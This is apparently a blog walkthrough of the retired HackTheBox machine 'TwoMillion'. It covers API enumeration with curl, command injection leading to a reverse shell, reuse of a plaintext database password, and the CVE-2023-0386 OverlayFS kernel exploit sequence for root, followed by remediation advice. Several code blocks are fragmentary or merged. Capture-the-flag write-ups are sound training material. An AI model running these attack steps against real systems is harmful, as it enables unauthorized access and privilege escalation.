TwoMillion is a nostalgic machine from HackTheBox that celebrates the platform reaching 2 million users. This machine features an old HackTheBox website with multiple API endpoints vulnerable to exploitation. The attack path involves JavaScript deobfuscation, API enumeration, privilege escalation through insecure endpoints, command injection for initial access, and finally kernel exploitation for root privileges.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 13:35 EDT
Nmap scan report for 10.10.11.221
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Analysis:
SSH (22/tcp) - OpenSSH 8.9p1
HTTP (80/tcp) - nginx with redirect to 2million.htb
curl -sX POST http://2million.htb/api/v1/invite/how/to/generate
Response:
1
2
3
4
5
6
7
8
9
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."}
{"v1":{"user":{"GET":{"/api/v1":"Route List","/api/v1/invite/how/to/generate":"Instructions on invite code generation","/api/v1/invite/generate":"Generate invite code","/api/v1/invite/verify":"Verify invite code","/api/v1/user/auth":"Check if user is authenticated","/api/v1/user/vpn/generate":"Generate a new VPN configuration","/api/v1/user/vpn/regenerate":"Regenerate VPN configuration","/api/v1/user/vpn/download":"Download OVPN file"},"POST":{"/api/v1/user/register":"Register a new user","/api/v1/user/login":"Login with existing user"}},"admin":{"GET":{"/api/v1/admin/auth":"Check if user is admin"},"POST":{"/api/v1/admin/vpn/generate":"Generate VPN for specific user"},"PUT":{"/api/v1/admin/settings/update":"Update user settings"}}}}
Critical Discovery: Admin endpoints are exposed and accessible!
listening on [any]4444 ...
connect to [10.10.14.22] from (UNKNOWN)[10.10.11.221]52488bash: cannot set terminal process group (1157): Inappropriate ioctl for device
bash: no job control in this shell
www-data@2million:~/html$
admin@2million.htb's password:
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.70-051570-generic x86_64) System information as of Sat Oct 18 07:15:39 PM UTC 2025 System load: 0.0
Usage of /: 73.8% of 4.82GB
Memory usage: 9%
Swap usage: 0%
Processes: 226 Users logged in: 1 IPv4 address for eth0: 10.10.11.221
You have mail.
Last login: Sat Oct 18 18:42:30 2025 from 10.10.14.22
admin@2million:~$
From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2
Hey admin,
I'm know you're working as fast as you can to do the DB migration. While we're
partially down, can you also upgrade the OS on our web host? There have been a
few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE
looks nasty. We can't get popped by that.
HTB Godfather
CVE-2023-0386 is a local privilege escalation vulnerability in the Linux kernel’s OverlayFS file system implementation. When combined with FUSE (Filesystem in Userspace), it allows unprivileged users to gain root privileges.
admin@2million:~$ ./fuse ./ovlcap/lower ./gc &mkdir: No such file or directory
fuse: failed to access mountpoint ./ovlcap/lower: No such file or directory
Solution: Create the required directory structure first:
// Sanitize all user inputs
functionsanitizeUsername($username){// Whitelist approach - only allow alphanumeric characters
returnpreg_replace('/[^a-zA-Z0-9_-]/','',$username);}// Use parameterized commands
$safe_username=escapeshellarg($username);exec("openvpn --generate $safe_username",$output,$return_var);
3. System Patching
1
2
3
4
5
6
7
# Update kernel to latest versionsudo apt update
sudo apt upgrade linux-generic
sudo reboot
# Verify kernel versionuname -r # Should be 6.2 or higher
A flaw was found in the Linux kernel’s OverlayFS subsystem. When combined with user namespaces and FUSE (Filesystem in Userspace), unprivileged users can create and manipulate overlay mounts in ways that allow privilege escalation to root.
Affected Systems:
Linux Kernel versions < 6.2
Ubuntu 22.04.2 LTS with kernel 5.15.70
Systems with user namespaces enabled
Systems with FUSE support
Exploitation Requirements:
Local access to the system
Unprivileged user account
User namespaces enabled (default on most distributions)
FUSE filesystem support
Mitigation:
1
2
3
4
5
6
7
8
9
10
# Update to patched kernel versionsudo apt update
sudo apt install linux-generic
# Alternatively, disable user namespacesecho"kernel.unprivileged_userns_clone = 0"| sudo tee -a /etc/sysctl.conf
sudo sysctl -p
# Or disable FUSE for unprivileged userschmod 700 /dev/fuse
Problem:
Exploit completes but cannot access /root directory
Solution:
1
2
3
4
5
6
7
8
# The exploit creates a namespace with root UID but limited capabilities# Run the exploit in the correct sequence:./fuse ./ovlcap/lower ./gc &sleep 2./exp
# You should get a root shell in the current namespace# From there, you can read /root/root.txt
# Re-login to get fresh session cookiecurl -sX POST http://2million.htb/api/v1/user/login \
--header "Content-Type: application/json"\
--data '{"email": "7r00t@gmail.com", "password": "password123"}'\
-c cookies.txt
# Use the new cookiecurl -s http://2million.htb/api/v1 --cookie "PHPSESSID=NEW_SESSION_ID"
Instead of SSH, you could access the database directly:
1
2
3
4
5
6
7
8
# Connect to MySQL with discovered credentialswww-data@2million:~/html$ mysql -u admin -p'SuperDuperPass123' -h 127.0.0.1 htb_prod
# Enumerate usersmysql> SELECT * FROM users;# Add admin user or modify existing usermysql> UPDATE users SET is_admin=1 WHERE username='7r00t';
TwoMillion serves as an excellent introduction to modern web application security testing and Linux privilege escalation. The machine effectively demonstrates how multiple seemingly minor vulnerabilities can be chained together for full system compromise.
Key Takeaways:
Client-side code is not secure - Never expose sensitive endpoints or logic in JavaScript
API security is critical - Proper authentication, authorization, and input validation are essential
Keep systems patched - Known kernel vulnerabilities provide easy privilege escalation
Defense in depth works - Multiple security layers prevent single points of failure
Credential reuse is dangerous - Use unique, strong passwords and proper secrets management
This writeup is for educational purposes only. Always ensure proper authorization before testing security vulnerabilities in any environment. Unauthorized access to computer systems is illegal.
Disclaimer: The techniques described in this writeup should only be used in authorized penetration testing engagements, CTF competitions, or personal lab environments. The author assumes no liability for misuse of this information.
Cybersecurity professional specializing in Network & Cloud Security, Digital Forensics, and Penetration Testing. Passionate about sharing knowledge and empowering others through hands-on security training.
HackTheBox Retired Machines -
This article is part of a series.
Overview # Planning is an Easy-rated Linux box from HackTheBox that involves exploiting a vulnerable Grafana instance and escalating privileges through a misconfigured cron job management interface. This walkthrough will guide you through each step of the penetration testing process.
